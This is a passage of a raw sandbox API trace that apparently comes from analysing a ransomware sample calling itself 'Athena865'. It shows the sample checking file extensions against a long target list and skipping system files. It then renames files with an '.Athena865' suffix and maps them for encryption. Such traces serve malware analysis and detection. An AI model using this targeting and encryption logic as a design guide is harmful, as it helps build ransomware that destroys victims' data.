(lpString="fol") returned 3 [0092.384] lstrcmpiW (lpString1="htm", lpString2="fol") returned 1 [0092.384] lstrlenW (lpString="fp3") returned 3 [0092.384] lstrcmpiW (lpString1="htm", lpString2="fp3") returned 1 [0092.384] lstrlenW (lpString="fp4") returned 3 [0092.384] lstrcmpiW (lpString1="htm", lpString2="fp4") returned 1 [0092.385] lstrlenW (lpString="fp5") returned 3 [0092.385] lstrcmpiW (lpString1="htm", lpString2="fp5") returned 1 [0092.385] lstrlenW (lpString="fp7") returned 3 [0092.385] lstrcmpiW (lpString1="htm", lpString2="fp7") returned 1 [0092.385] lstrlenW (lpString="fpt") returned 3 [0092.385] lstrcmpiW (lpString1="htm", lpString2="fpt") returned 1 [0092.385] lstrlenW (lpString="frm") returned 3 [0092.385] lstrcmpiW (lpString1="htm", lpString2="frm") returned 1 [0092.385] lstrlenW (lpString="gdb") returned 3 [0092.385] lstrcmpiW (lpString1="htm", lpString2="gdb") returned 1 [0092.385] lstrlenW (lpString="gdb") returned 3 [0092.385] lstrcmpiW (lpString1="htm", lpString2="gdb") returned 1 [0092.385] lstrlenW (lpString="grdb") returned 4 [0092.385] lstrcmpiW (lpString1=".htm", lpString2="grdb") returned -1 [0092.385] lstrlenW (lpString="gwi") returned 3 [0092.385] lstrcmpiW (lpString1="htm", lpString2="gwi") returned 1 [0092.385] lstrlenW (lpString="hdb") returned 3 [0092.385] lstrcmpiW (lpString1="htm", lpString2="hdb") returned 1 [0092.385] lstrlenW (lpString="his") returned 3 [0092.385] lstrcmpiW (lpString1="htm", lpString2="his") returned 1 [0092.385] lstrlenW (lpString="ib") returned 2 [0092.385] lstrcmpiW (lpString1="tm", lpString2="ib") returned 1 [0092.385] lstrlenW (lpString="idb") returned 3 [0092.385] lstrcmpiW (lpString1="htm", lpString2="idb") returned -1 [0092.385] lstrlenW (lpString="ihx") returned 3 [0092.385] lstrcmpiW (lpString1="htm", lpString2="ihx") returned -1 [0092.385] lstrlenW (lpString="itdb") returned 4 [0092.385] lstrcmpiW (lpString1=".htm", lpString2="itdb") returned -1 [0092.386] lstrlenW (lpString="itw") returned 3 [0092.386] lstrcmpiW (lpString1="htm", lpString2="itw") returned -1 [0092.386] lstrlenW (lpString="jet") returned 3 [0092.386] lstrcmpiW (lpString1="htm", lpString2="jet") returned -1 [0092.386] lstrlenW (lpString="jtx") returned 3 [0092.386] lstrcmpiW (lpString1="htm", lpString2="jtx") returned -1 [0092.386] lstrlenW (lpString="kdb") returned 3 [0092.386] lstrcmpiW (lpString1="htm", lpString2="kdb") returned -1 [0092.386] lstrlenW (lpString="kexi") returned 4 [0092.386] lstrcmpiW (lpString1=".htm", lpString2="kexi") returned -1 [0092.386] lstrlenW (lpString="kexic") returned 5 [0092.386] lstrcmpiW (lpString1="e.htm", lpString2="kexic") returned -1 [0092.386] lstrlenW (lpString="kexis") returned 5 [0092.386] lstrcmpiW (lpString1="e.htm", lpString2="kexis") returned -1 [0092.386] lstrlenW (lpString="lgc") returned 3 [0092.386] lstrcmpiW (lpString1="htm", lpString2="lgc") returned -1 [0092.386] lstrlenW (lpString="lwx") returned 3 [0092.386] lstrcmpiW (lpString1="htm", lpString2="lwx") returned -1 [0092.386] lstrlenW (lpString="maf") returned 3 [0092.386] lstrcmpiW (lpString1="htm", lpString2="maf") returned -1 [0092.386] lstrlenW (lpString="maq") returned 3 [0092.386] lstrcmpiW (lpString1="htm", lpString2="maq") returned -1 [0092.386] lstrlenW (lpString="mar") returned 3 [0092.386] lstrcmpiW (lpString1="htm", lpString2="mar") returned -1 [0092.386] lstrlenW (lpString="marshal") returned 7 [0092.386] lstrcmpiW (lpString1="aMe.htm", lpString2="marshal") returned -1 [0092.386] lstrlenW (lpString="mas") returned 3 [0092.386] lstrcmpiW (lpString1="htm", lpString2="mas") returned -1 [0092.386] lstrlenW (lpString="mav") returned 3 [0092.386] lstrcmpiW (lpString1="htm", lpString2="mav") returned -1 [0092.387] lstrlenW (lpString="maw") returned 3 [0092.387] lstrcmpiW (lpString1="htm", lpString2="maw") returned -1 [0092.387] lstrlenW (lpString="mdbhtml") returned 7 [0092.387] lstrcmpiW (lpString1="aMe.htm", lpString2="mdbhtml") returned -1 [0092.387] lstrlenW (lpString="mdn") returned 3 [0092.387] lstrcmpiW (lpString1="htm", lpString2="mdn") returned -1 [0092.387] lstrlenW (lpString="mdt") returned 3 [0092.387] lstrcmpiW (lpString1="htm", lpString2="mdt") returned -1 [0092.387] lstrlenW (lpString="mfd") returned 3 [0092.387] lstrcmpiW (lpString1="htm", lpString2="mfd") returned -1 [0092.387] lstrlenW (lpString="mpd") returned 3 [0092.387] lstrcmpiW (lpString1="htm", lpString2="mpd") returned -1 [0092.387] lstrlenW (lpString="mrg") returned 3 [0092.387] lstrcmpiW (lpString1="htm", lpString2="mrg") returned -1 [0092.387] lstrlenW (lpString="mud") returned 3 [0092.387] lstrcmpiW (lpString1="htm", lpString2="mud") returned -1 [0092.387] lstrlenW (lpString="mwb") returned 3 [0092.387] lstrcmpiW (lpString1="htm", lpString2="mwb") returned -1 [0092.387] lstrlenW (lpString="myd") returned 3 [0092.387] lstrcmpiW (lpString1="htm", lpString2="myd") returned -1 [0092.387] lstrlenW (lpString="ndf") returned 3 [0092.387] lstrcmpiW (lpString1="htm", lpString2="ndf") returned -1 [0092.387] lstrlenW (lpString="nnt") returned 3 [0092.387] lstrcmpiW (lpString1="htm", lpString2="nnt") returned -1 [0092.387] lstrlenW (lpString="nrmlib") returned 6 [0092.387] lstrcmpiW (lpString1="Me.htm", lpString2="nrmlib") returned -1 [0092.387] lstrlenW (lpString="ns2") returned 3 [0092.387] lstrcmpiW (lpString1="htm", lpString2="ns2") returned -1 [0092.387] lstrlenW (lpString="ns3") returned 3 [0092.387] lstrcmpiW (lpString1="htm", lpString2="ns3") returned -1 [0092.387] lstrlenW (lpString="ns4") returned 3 [0092.387] lstrcmpiW (lpString1="htm", lpString2="ns4") returned -1 [0092.388] lstrlenW (lpString="nsf") returned 3 [0092.388] lstrcmpiW (lpString1="htm", lpString2="nsf") returned -1 [0092.388] lstrlenW (lpString="nv") returned 2 [0092.388] lstrcmpiW (lpString1="tm", lpString2="nv") returned 1 [0092.388] lstrlenW (lpString="nv2") returned 3 [0092.388] lstrcmpiW (lpString1="htm", lpString2="nv2") returned -1 [0092.388] lstrlenW (lpString="nwdb") returned 4 [0092.388] lstrcmpiW (lpString1=".htm", lpString2="nwdb") returned -1 [0092.388] lstrlenW (lpString="nyf") returned 3 [0092.388] lstrcmpiW (lpString1="htm", lpString2="nyf") returned -1 [0092.388] lstrlenW (lpString="odb") returned 3 [0092.388] lstrcmpiW (lpString1="htm", lpString2="odb") returned -1 [0092.388] lstrlenW (lpString="odb") returned 3 [0092.388] lstrcmpiW (lpString1="htm", lpString2="odb") returned -1 [0092.388] lstrlenW (lpString="oqy") returned 3 [0092.388] lstrcmpiW (lpString1="htm", lpString2="oqy") returned -1 [0092.388] lstrlenW (lpString="ora") returned 3 [0092.388] lstrcmpiW (lpString1="htm", lpString2="ora") returned -1 [0092.388] lstrlenW (lpString="orx") returned 3 [0092.388] lstrcmpiW (lpString1="htm", lpString2="orx") returned -1 [0092.388] lstrlenW (lpString="owc") returned 3 [0092.388] lstrcmpiW (lpString1="htm", lpString2="owc") returned -1 [0092.388] lstrlenW (lpString="p96") returned 3 [0092.388] lstrcmpiW (lpString1="htm", lpString2="p96") returned -1 [0092.388] lstrlenW (lpString="p97") returned 3 [0092.388] lstrcmpiW (lpString1="htm", lpString2="p97") returned -1 [0092.388] lstrlenW (lpString="pan") returned 3 [0092.388] lstrcmpiW (lpString1="htm", lpString2="pan") returned -1 [0092.388] lstrlenW (lpString="pdb") returned 3 [0092.388] lstrcmpiW (lpString1="htm", lpString2="pdb") returned -1 [0092.388] lstrlenW (lpString="pdm") returned 3 [0092.388] lstrcmpiW (lpString1="htm", lpString2="pdm") returned -1 [0092.389] lstrlenW (lpString="pnz") returned 3 [0092.389] lstrcmpiW (lpString1="htm", lpString2="pnz") returned -1 [0092.389] lstrlenW (lpString="qry") returned 3 [0092.389] lstrcmpiW (lpString1="htm", lpString2="qry") returned -1 [0092.389] lstrlenW (lpString="qvd") returned 3 [0092.389] lstrcmpiW (lpString1="htm", lpString2="qvd") returned -1 [0092.389] lstrlenW (lpString="rbf") returned 3 [0092.389] lstrcmpiW (lpString1="htm", lpString2="rbf") returned -1 [0092.389] lstrlenW (lpString="rctd") returned 4 [0092.389] lstrcmpiW (lpString1=".htm", lpString2="rctd") returned -1 [0092.389] lstrlenW (lpString="rod") returned 3 [0092.389] lstrcmpiW (lpString1="htm", lpString2="rod") returned -1 [0092.389] lstrlenW (lpString="rodx") returned 4 [0092.389] lstrcmpiW (lpString1=".htm", lpString2="rodx") returned -1 [0092.389] lstrlenW (lpString="rpd") returned 3 [0092.389] lstrcmpiW (lpString1="htm", lpString2="rpd") returned -1 [0092.389] lstrlenW (lpString="rsd") returned 3 [0092.389] lstrcmpiW (lpString1="htm", lpString2="rsd") returned -1 [0092.389] lstrlenW (lpString="sas7bdat") returned 8 [0092.389] lstrcmpiW (lpString1="iaMe.htm", lpString2="sas7bdat") returned -1 [0092.389] lstrlenW (lpString="sbf") returned 3 [0092.389] lstrcmpiW (lpString1="htm", lpString2="sbf") returned -1 [0092.389] lstrlenW (lpString="scx") returned 3 [0092.389] lstrcmpiW (lpString1="htm", lpString2="scx") returned -1 [0092.389] lstrlenW (lpString="sdb") returned 3 [0092.389] lstrcmpiW (lpString1="htm", lpString2="sdb") returned -1 [0092.389] lstrlenW (lpString="sdc") returned 3 [0092.389] lstrcmpiW (lpString1="htm", lpString2="sdc") returned -1 [0092.389] lstrlenW (lpString="sdf") returned 3 [0092.389] lstrcmpiW (lpString1="htm", lpString2="sdf") returned -1 [0092.389] lstrlenW (lpString="sis") returned 3 [0092.389] lstrcmpiW (lpString1="htm", lpString2="sis") returned -1 [0092.390] lstrlenW (lpString="spq") returned 3 [0092.390] lstrcmpiW (lpString1="htm", lpString2="spq") returned -1 [0092.390] lstrlenW (lpString="te") returned 2 [0092.390] lstrcmpiW (lpString1="tm", lpString2="te") returned 1 [0092.390] lstrlenW (lpString="teacher") returned 7 [0092.390] lstrcmpiW (lpString1="aMe.htm", lpString2="teacher") returned -1 [0092.390] lstrlenW (lpString="tmd") returned 3 [0092.390] lstrcmpiW (lpString1="htm", lpString2="tmd") returned -1 [0092.390] lstrlenW (lpString="tps") returned 3 [0092.390] lstrcmpiW (lpString1="htm", lpString2="tps") returned -1 [0092.390] lstrlenW (lpString="trc") returned 3 [0092.390] lstrcmpiW (lpString1="htm", lpString2="trc") returned -1 [0092.390] lstrlenW (lpString="trc") returned 3 [0092.390] lstrcmpiW (lpString1="htm", lpString2="trc") returned -1 [0092.390] lstrlenW (lpString="trm") returned 3 [0092.390] lstrcmpiW (lpString1="htm", lpString2="trm") returned -1 [0092.390] lstrlenW (lpString="udb") returned 3 [0092.390] lstrcmpiW (lpString1="htm", lpString2="udb") returned -1 [0092.390] lstrlenW (lpString="udl") returned 3 [0092.390] lstrcmpiW (lpString1="htm", lpString2="udl") returned -1 [0092.390] lstrlenW (lpString="usr") returned 3 [0092.390] lstrcmpiW (lpString1="htm", lpString2="usr") returned -1 [0092.390] lstrlenW (lpString="v12") returned 3 [0092.390] lstrcmpiW (lpString1="htm", lpString2="v12") returned -1 [0092.390] lstrlenW (lpString="vis") returned 3 [0092.390] lstrcmpiW (lpString1="htm", lpString2="vis") returned -1 [0092.390] lstrlenW (lpString="vpd") returned 3 [0092.390] lstrcmpiW (lpString1="htm", lpString2="vpd") returned -1 [0092.390] lstrlenW (lpString="vvv") returned 3 [0092.390] lstrcmpiW (lpString1="htm", lpString2="vvv") returned -1 [0092.390] lstrlenW (lpString="wdb") returned 3 [0092.390] lstrcmpiW (lpString1="htm", lpString2="wdb") returned -1 [0092.391] lstrlenW (lpString="wmdb") returned 4 [0092.391] lstrcmpiW (lpString1=".htm", lpString2="wmdb") returned -1 [0092.391] lstrlenW (lpString="wrk") returned 3 [0092.391] lstrcmpiW (lpString1="htm", lpString2="wrk") returned -1 [0092.391] lstrlenW (lpString="xdb") returned 3 [0092.391] lstrcmpiW (lpString1="htm", lpString2="xdb") returned -1 [0092.391] lstrlenW (lpString="xld") returned 3 [0092.391] lstrcmpiW (lpString1="htm", lpString2="xld") returned -1 [0092.391] lstrlenW (lpString="xmlff") returned 5 [0092.391] lstrcmpiW (lpString1="e.htm", lpString2="xmlff") returned -1 [0092.391] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeiaMe.htm.Athena865") returned 61 [0092.391] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeiaMe.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\leiame.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeiaMe.htm.Athena865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\leiame.htm.athena865"), dwFlags=0x1) returned 1 [0092.392] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeiaMe.htm.Athena865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\leiame.htm.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0092.392] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=17011) returned 1 [0092.392] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0092.392] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0092.392] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518ef8 [0092.392] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518e70) returned 1 [0092.393] CryptGenRandom (in: hProv=0x518e70, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0092.393] CryptReleaseContext (hProv=0x518e70, dwFlags=0x0) returned 1 [0092.393] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4580, lpName=0x0) returned 0x154 [0092.395] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4580) returned 0x100000 [0092.396] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518e70) returned 1 [0092.397] CryptGenRandom (in: hProv=0x518e70, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0092.397] CryptReleaseContext (hProv=0x518e70, dwFlags=0x0) returned 1 [0092.397] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0092.397] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0092.397] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0092.397] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0092.397] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0092.397] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0092.397] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0092.397] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0092.398] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0092.398] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0092.398] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0092.398] CloseHandle (hObject=0x154) returned 1 [0092.398] CloseHandle (hObject=0x17c) returned 1 [0092.398] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d1b0 | out: hHeap=0x4f0000) returned 1 [0092.398] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518ef8 | out: hHeap=0x4f0000) returned 1 [0092.398] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0092.398] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fe90080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x42b6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Liesmich.htm", cAlternateFileName="")) returned 1 [0092.398] lstrcmpiW (lpString1="Liesmich.htm", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0092.398] lstrcmpiW (lpString1="Liesmich.htm", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0092.398] lstrcmpiW (lpString1="Liesmich.htm", lpString2=".") returned 1 [0092.398] lstrcmpiW (lpString1="Liesmich.htm", lpString2="..") returned 1 [0092.398] lstrcmpiW (lpString1="Liesmich.htm", lpString2="windows") returned -1 [0092.398] lstrcmpiW (lpString1="Liesmich.htm", lpString2="bootmgr") returned 1 [0092.398] lstrcmpiW (lpString1="Liesmich.htm", lpString2="temp") returned -1 [0092.398] lstrcmpiW (lpString1="Liesmich.htm", lpString2="pagefile.sys") returned -1 [0092.399] lstrcmpiW (lpString1="Liesmich.htm", lpString2="boot") returned 1 [0092.399] lstrcmpiW (lpString1="Liesmich.htm", lpString2="ids.txt") returned 1 [0092.399] lstrcmpiW (lpString1="Liesmich.htm", lpString2="ntuser.dat") returned -1 [0092.399] lstrcmpiW (lpString1="Liesmich.htm", lpString2="perflogs") returned -1 [0092.399] lstrcmpiW (lpString1="Liesmich.htm", lpString2="MSBuild") returned -1 [0092.399] lstrlenW (lpString="Liesmich.htm") returned 12 [0092.399] lstrcpyW (in: lpString1=0x241e89a, lpString2="Liesmich.htm" | out: lpString1="Liesmich.htm") returned="Liesmich.htm" [0092.399] lstrlenW (lpString="Liesmich.htm") returned 12 [0092.399] lstrlenW (lpString="Athena865") returned 9 [0092.399] lstrcmpiW (lpString1="smich.htm", lpString2="Athena865") returned 1 [0092.399] lstrlenW (lpString=".dll") returned 4 [0092.399] lstrcmpiW (lpString1="Liesmich.htm", lpString2=".dll") returned 1 [0092.399] lstrlenW (lpString=".lnk") returned 4 [0092.399] lstrcmpiW (lpString1="Liesmich.htm", lpString2=".lnk") returned 1 [0092.399] lstrlenW (lpString=".ini") returned 4 [0092.399] lstrcmpiW (lpString1="Liesmich.htm", lpString2=".ini") returned 1 [0092.399] lstrlenW (lpString=".sys") returned 4 [0092.399] lstrcmpiW (lpString1="Liesmich.htm", lpString2=".sys") returned 1 [0092.399] lstrlenW (lpString="Liesmich.htm") returned 12 [0092.399] lstrlenW (lpString="bak") returned 3 [0092.399] lstrcmpiW (lpString1="htm", lpString2="bak") returned 1 [0092.399] lstrlenW (lpString="ba_") returned 3 [0092.399] lstrcmpiW (lpString1="htm", lpString2="ba_") returned 1 [0092.399] lstrlenW (lpString="dbb") returned 3 [0092.399] lstrcmpiW (lpString1="htm", lpString2="dbb") returned 1 [0092.399] lstrlenW (lpString="vmdk") returned 4 [0092.399] lstrcmpiW (lpString1=".htm", lpString2="vmdk") returned -1 [0092.399] lstrlenW (lpString="rar") returned 3 [0092.399] lstrcmpiW (lpString1="htm", lpString2="rar") returned -1 [0092.399] lstrlenW (lpString="zip") returned 3 [0092.399] lstrcmpiW (lpString1="htm", lpString2="zip") returned -1 [0092.399] lstrlenW (lpString="tgz") returned 3 [0092.400] lstrcmpiW (lpString1="htm", lpString2="tgz") returned -1 [0092.400] lstrlenW (lpString="vbox") returned 4 [0092.400] lstrcmpiW (lpString1=".htm", lpString2="vbox") returned -1 [0092.400] lstrlenW (lpString="vdi") returned 3 [0092.400] lstrcmpiW (lpString1="htm", lpString2="vdi") returned -1 [0092.400] lstrlenW (lpString="vhd") returned 3 [0092.400] lstrcmpiW (lpString1="htm", lpString2="vhd") returned -1 [0092.400] lstrlenW (lpString="vhdx") returned 4 [0092.400] lstrcmpiW (lpString1=".htm", lpString2="vhdx") returned -1 [0092.400] lstrlenW (lpString="avhd") returned 4 [0092.400] lstrcmpiW (lpString1=".htm", lpString2="avhd") returned -1 [0092.400] lstrlenW (lpString="db") returned 2 [0092.400] lstrcmpiW (lpString1="tm", lpString2="db") returned 1 [0092.400] lstrlenW (lpString="db2") returned 3 [0092.400] lstrcmpiW (lpString1="htm", lpString2="db2") returned 1 [0092.400] lstrlenW (lpString="db3") returned 3 [0092.400] lstrcmpiW (lpString1="htm", lpString2="db3") returned 1 [0092.400] lstrlenW (lpString="dbf") returned 3 [0092.400] lstrcmpiW (lpString1="htm", lpString2="dbf") returned 1 [0092.400] lstrlenW (lpString="mdf") returned 3 [0092.400] lstrcmpiW (lpString1="htm", lpString2="mdf") returned -1 [0092.400] lstrlenW (lpString="mdb") returned 3 [0092.400] lstrcmpiW (lpString1="htm", lpString2="mdb") returned -1 [0092.400] lstrlenW (lpString="sql") returned 3 [0092.400] lstrcmpiW (lpString1="htm", lpString2="sql") returned -1 [0092.400] lstrlenW (lpString="sqlite") returned 6 [0092.400] lstrcmpiW (lpString1="ch.htm", lpString2="sqlite") returned -1 [0092.400] lstrlenW (lpString="sqlite3") returned 7 [0092.400] lstrcmpiW (lpString1="ich.htm", lpString2="sqlite3") returned -1 [0092.400] lstrlenW (lpString="sqlitedb") returned 8 [0092.400] lstrcmpiW (lpString1="mich.htm", lpString2="sqlitedb") returned -1 [0092.400] lstrlenW (lpString="xml") returned 3 [0092.400] lstrcmpiW (lpString1="htm", lpString2="xml") returned -1 [0092.401] lstrlenW (lpString="$er") returned 3 [0092.401] lstrcmpiW (lpString1="htm", lpString2="$er") returned 1 [0092.401] lstrlenW (lpString="4dd") returned 3 [0092.401] lstrcmpiW (lpString1="htm", lpString2="4dd") returned 1 [0092.401] lstrlenW (lpString="4dl") returned 3 [0092.401] lstrcmpiW (lpString1="htm", lpString2="4dl") returned 1 [0092.401] lstrlenW (lpString="^^^") returned 3 [0092.401] lstrcmpiW (lpString1="htm", lpString2="^^^") returned 1 [0092.402] lstrlenW (lpString="abs") returned 3 [0092.402] lstrcmpiW (lpString1="htm", lpString2="abs") returned 1 [0092.402] lstrlenW (lpString="abx") returned 3 [0092.402] lstrcmpiW (lpString1="htm", lpString2="abx") returned 1 [0092.402] lstrlenW (lpString="accdb") returned 5 [0092.402] lstrcmpiW (lpString1="h.htm", lpString2="accdb") returned 1 [0092.402] lstrlenW (lpString="accdc") returned 5 [0092.402] lstrcmpiW (lpString1="h.htm", lpString2="accdc") returned 1 [0092.402] lstrlenW (lpString="accde") returned 5 [0092.402] lstrcmpiW (lpString1="h.htm", lpString2="accde") returned 1 [0092.402] lstrlenW (lpString="accdr") returned 5 [0092.402] lstrcmpiW (lpString1="h.htm", lpString2="accdr") returned 1 [0092.402] lstrlenW (lpString="accdt") returned 5 [0092.402] lstrcmpiW (lpString1="h.htm", lpString2="accdt") returned 1 [0092.402] lstrlenW (lpString="accdw") returned 5 [0092.402] lstrcmpiW (lpString1="h.htm", lpString2="accdw") returned 1 [0092.402] lstrlenW (lpString="accft") returned 5 [0092.402] lstrcmpiW (lpString1="h.htm", lpString2="accft") returned 1 [0092.402] lstrlenW (lpString="adb") returned 3 [0092.402] lstrcmpiW (lpString1="htm", lpString2="adb") returned 1 [0092.402] lstrlenW (lpString="adb") returned 3 [0092.402] lstrcmpiW (lpString1="htm", lpString2="adb") returned 1 [0092.402] lstrlenW (lpString="ade") returned 3 [0092.402] lstrcmpiW (lpString1="htm", lpString2="ade") returned 1 [0092.403] lstrlenW (lpString="adf") returned 3 [0092.403] lstrcmpiW (lpString1="htm", lpString2="adf") returned 1 [0092.403] lstrlenW (lpString="adn") returned 3 [0092.403] lstrcmpiW (lpString1="htm", lpString2="adn") returned 1 [0092.403] lstrlenW (lpString="adp") returned 3 [0092.403] lstrcmpiW (lpString1="htm", lpString2="adp") returned 1 [0092.403] lstrlenW (lpString="alf") returned 3 [0092.403] lstrcmpiW (lpString1="htm", lpString2="alf") returned 1 [0092.403] lstrlenW (lpString="ask") returned 3 [0092.403] lstrcmpiW (lpString1="htm", lpString2="ask") returned 1 [0092.403] lstrlenW (lpString="btr") returned 3 [0092.403] lstrcmpiW (lpString1="htm", lpString2="btr") returned 1 [0092.403] lstrlenW (lpString="cat") returned 3 [0092.403] lstrcmpiW (lpString1="htm", lpString2="cat") returned 1 [0092.403] lstrlenW (lpString="cdb") returned 3 [0092.403] lstrcmpiW (lpString1="htm", lpString2="cdb") returned 1 [0092.403] lstrlenW (lpString="ckp") returned 3 [0092.403] lstrcmpiW (lpString1="htm", lpString2="ckp") returned 1 [0092.403] lstrlenW (lpString="cma") returned 3 [0092.403] lstrcmpiW (lpString1="htm", lpString2="cma") returned 1 [0092.403] lstrlenW (lpString="cpd") returned 3 [0092.403] lstrcmpiW (lpString1="htm", lpString2="cpd") returned 1 [0092.403] lstrlenW (lpString="dacpac") returned 6 [0092.403] lstrcmpiW (lpString1="ch.htm", lpString2="dacpac") returned -1 [0092.403] lstrlenW (lpString="dad") returned 3 [0092.403] lstrcmpiW (lpString1="htm", lpString2="dad") returned 1 [0092.403] lstrlenW (lpString="dadiagrams") returned 10 [0092.403] lstrcmpiW (lpString1="esmich.htm", lpString2="dadiagrams") returned 1 [0092.403] lstrlenW (lpString="daschema") returned 8 [0092.403] lstrcmpiW (lpString1="mich.htm", lpString2="daschema") returned 1 [0092.403] lstrlenW (lpString="db-journal") returned 10 [0092.404] lstrcmpiW (lpString1="esmich.htm", lpString2="db-journal") returned 1 [0092.404] lstrlenW (lpString="db-shm") returned 6 [0092.404] lstrcmpiW (lpString1="ch.htm", lpString2="db-shm") returned -1 [0092.404] lstrlenW (lpString="db-wal") returned 6 [0092.404] lstrcmpiW (lpString1="ch.htm", lpString2="db-wal") returned -1 [0092.404] lstrlenW (lpString="dbc") returned 3 [0092.404] lstrcmpiW (lpString1="htm", lpString2="dbc") returned 1 [0092.404] lstrlenW (lpString="dbs") returned 3 [0092.404] lstrcmpiW (lpString1="htm", lpString2="dbs") returned 1 [0092.404] lstrlenW (lpString="dbt") returned 3 [0092.404] lstrcmpiW (lpString1="htm", lpString2="dbt") returned 1 [0092.404] lstrlenW (lpString="dbv") returned 3 [0092.404] lstrcmpiW (lpString1="htm", lpString2="dbv") returned 1 [0092.404] lstrlenW (lpString="dbx") returned 3 [0092.404] lstrcmpiW (lpString1="htm", lpString2="dbx") returned 1 [0092.404] lstrlenW (lpString="dcb") returned 3 [0092.404] lstrcmpiW (lpString1="htm", lpString2="dcb") returned 1 [0092.404] lstrcmpiW (lpString1="htm", lpString2="dct") returned 1 [0092.404] lstrcmpiW (lpString1="htm", lpString2="dcx") returned 1 [0092.404] lstrcmpiW (lpString1="htm", lpString2="ddl") returned 1 [0092.404] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Liesmich.htm.Athena865") returned 63 [0092.404] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Liesmich.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\liesmich.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Liesmich.htm.Athena865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\liesmich.htm.athena865"), dwFlags=0x1) returned 1 [0092.407] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Liesmich.htm.Athena865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\liesmich.htm.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0092.407] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=17078) returned 1 [0092.407] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0092.407] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0092.407] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518ef8 [0092.407] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518e70) returned 1 [0092.408] CryptGenRandom (in: hProv=0x518e70, dwLen=0x80, 